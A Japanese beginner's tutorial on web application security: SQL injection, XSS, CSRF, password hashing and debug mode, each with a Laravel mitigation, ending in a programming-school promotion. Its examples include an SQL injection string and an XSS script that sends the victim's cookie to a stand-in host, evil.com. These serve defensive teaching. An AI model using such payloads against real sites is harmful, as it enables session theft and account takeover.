「苦労して作ったWebアプリ、やっと動いた!さあリリースだ!」
エンジニアにとって、自分のコードでサービスが動く瞬間の喜びは格別ですよね。
しかし、ちょっと待ってください。そのアプリ、セキュリティ対策されてますか?
機能を作ることに精一杯で、セキュリティ対策が後回しになっているケースはしばしばあります。脆弱性を放置したまま公開することは、ユーザーの情報を危険に晒すだけでなく、エンジニアとしての信頼を失うことにも繋がります。
そこで今回は、セキュリティの知識に自信がない開発者に向けて、最低限チェックしておくべき「脆弱性対策」をまとめました!
初学者でも今日から実践できる基本的なポイントを解説します。
そもそも「脆弱性」とは?
Webアプリケーションにおけるプログラムの不備や設計ミスのことです。ここを悪用されると、攻撃者にシステムを乗っ取られたり、情報を盗まれたりします。
世界標準のセキュリティ基準としてOWASP Top 10というものがありますが、今回はその中でも特に初心者がやってしまいがちな「三大脆弱性」+α に絞って解説します。
1. SQLインジェクション
お問い合わせフォームのような、入力・送信できるページから悪意のあるSQL文(データベースへの命令)を混ぜ込むことで、本来見せてはいけないデータを表示させたり、データを消去したりする攻撃です。
アプリケーションが入力値を適切にエスケープしないままSQL中に展開することで発生します。
例えば次のようなSQL文があるとします。
SELECT * FROM users WHERE name = '(入力値)';ここで入力値に例えば "t' OR 't' = 't" という文字列を与え送信されると、SQL文は次のように受け取り展開されます。
SELECT * FROM users WHERE name = 't' OR 't' = 't';このSQL文の意味は「もしnameがtなら、もしくはtがtならユーザー情報をすべて取得する」というものです。
「もしtがtなら...」これだけ聞くと一見意味がわからないかもしれませんが、t=tって、当たり前のことを言ってますよね。
つまり、この文は条件が常に真となり、 SELECT * FROM users (ユーザー情報をすべて取得する)が実行されてしまいます。
【解決策:Laravel】(Eloquent/クエリビルダ)を使う
Laravelなどのフレームワークを使っている場合、直接SQLを文字列結合などで書くのではなく、Eloquent ORMで記述すれば自動的にプリペアドステートメント(※)という仕組みによって対策されます。
※プリペアドステートメントとは、SQL文の構造(テンプレート)と値を分離してデータベースに送り、後から値を埋め込むことで、SQLインジェクション対策と処理速度向上を実現する仕組み
$user = User::where('id', $request->input('id'))->first();対策ポイント:
- SQL文を文字列結合で作らない。
- フレームワークのORM(Eloquentなど)や、プリペアドステートメントを使用する。
2. XSS(クロスサイトスクリプティング)
掲示板やSNSのように、ユーザーが入力した内容を他のユーザーの画面に表示するページで、悪意のあるスクリプト(プログラム)を埋め込まれてしまう攻撃です。
アプリケーションが入力値を画面に出力する際、HTMLとして意味を持つ記号を適切に無害化(エスケープ)しないことで発生します。
例えば、掲示板の名前欄に次のような入力をして投稿したとします。
<script>location.href='http://evil.com/steal?cookie='+document.cookie;</script>もし対策をしていない場合、この投稿を見た他のユーザーのブラウザは、これを「ただの文字」ではなく「実行すべきJavaScriptのプログラム」として解釈してしまいます。
その結果、ページを開いた瞬間に、そのユーザーのCookie情報(ログイン状態などを管理する重要な鍵)が攻撃者のサイト(evil.com)へ勝手に送信され、アカウント乗っ取りなどの被害に遭ってしまいます。
【解決策:Laravel】Bladeテンプレートの二重括弧を使う
LaravelのBladeテンプレートを使っている場合、 {{ }} で変数を囲むだけで、自動的に特殊文字をエスケープ(無害化)して表示してくれます。
<p>こんにちは、{{ $name }} さん</p>この場合、先ほどのスクリプトタグは <script>... のような無害な文字列に変換され、ブラウザ画面には文字として表示されるだけで、プログラムとしては実行されません。
一方、次の書き方は注意が必要です。
<p>こんにちは、{!! $name !!} さん</p>
{!! !!} は「あえてHTMLタグを有効にしたい」場合に使いますが、ユーザー入力値をここに通すとXSSの脆弱性になります。初心者のうちは基本的に使わないようにしましょう。
対策ポイント:
- ユーザーの入力値を画面に出す時は、必ずエスケープ(無害化)処理を通す。
- Laravelでは基本的に
{{ }}を使い、{!! !!}の使用は避ける。
3. CSRF(クロスサイトリクエストフォージェリ)
ログイン済みのユーザーが、攻撃者の用意した罠サイトにアクセスすることで、本人が意図しない操作(勝手に退会する、商品を購入する、投稿するなど)をさせられてしまう攻撃です。
例えば、あなたがSNSにログインしている状態で、悪意のある罠サイトを閲覧してしまったとします。その罠サイトには、裏側で「SNSの退会処理URL」へデータを送信する仕組みが隠されていました。
Webブラウザは、あるサイトへアクセスする際、そのサイト用のCookie(セッションIDなど)を自動的に一緒に送信する性質があります。
そのため、SNS側のサーバーは「正しいセッションIDを持ったユーザーからのリクエストだ」と判断し、あなたが自分の意思でボタンを押したのか、罠サイトから勝手に送らされたのかを区別できず、退会処理を実行してしまいます。
【解決策:Laravel】CSRFトークンを含める
「このリクエストは、正しいWebサイトのフォームから送信されたものですよ」と証明するための合言葉(トークン)を発行し、送信時にチェックします。
Laravelでは、フォームの中に @csrf ディレクティブを書くだけで対策が完了します。
<form method="POST" action="/profile/delete">
@csrf <button type="submit">退会する</button>
</form>これにより、HTML生成時にランダムなトークン(合言葉)が埋め込まれます。
攻撃者の罠サイトはこの「合言葉」を知ることができないため、もし罠サイトから無理やりリクエストを送らせても、サーバー側で「合言葉がない(または間違っている)」と判断して処理をブロック(419エラー)してくれます。
対策ポイント:
- フォーム(POST/PUT/DELETEなど)を作成する際は、必ずCSRF対策を行う。
- Laravelでは
<form>タグの中に必ず@csrfを記述する。
4. その他、初心者がやりがちなNG実装
① パスワードを平文(そのまま)で保存している
データベースの中身は、開発者やサーバー管理者なら見ることができます。また、万が一SQLインジェクションなどでデータが流出した場合、パスワードがそのまま保存されていると、即座に不正ログインされてしまいます。
【解決策】
パスワードは必ずハッシュ化(復元できないランダムな文字列に変換)して保存します。
Laravelでは Hash ファサードを使います。
// ユーザー作成時など
$user->password = Hash::make($request->input('password'));② デバッグ情報を本番環境で表示している
エラーが発生した際、画面に詳細なエラー内容(ファイルパス、データベースの構造、コードの一部など)が表示される画面が出ていませんか?

これは開発時には便利ですが、攻撃者にとってはシステムの内部構造を知るための「宝の地図」になってしまいます。
【解決策】
本番環境(公開サーバー)の設定ファイル(.env)では、必ずデバッグモードをオフにします。
# .env ファイル
APP_DEBUG=falseまとめ:セキュリティは「作って終わり」ではない
ここまで紹介した3つの脆弱性は、基本中の基本ですが、非常に危険度が高いものです。
- SQLインジェクション:DB操作には必ずORM/プリペアドステートメントを使う。
- XSS:表示時には必ずエスケープする(
{{ }}を使う)。 - CSRF:フォームには
@csrfを入れる。
「自分のアプリは大丈夫かな?」と不安になった方は、ぜひ一度コードを見直してみてください。
Webエンジニアとして、「動くコード」だけでなく「安心して使える安全なコード」を書く習慣を身につけていきましょう!
もし、
「プログラミングを体系的に学びたい」
「エンジニア転職を頑張りたい」
「独学に限界を感じてきた...」
「コミュニティで仲間と共に学びたい」
などと感じられたら、ぜひ検討してみてください。
まずは様子見...という方は、公式LINEにぜひご登録下さい。
学習や転職ノウハウに関する豪華特典11個を無料配布しています!
LINE紹介ページで特典を確認する


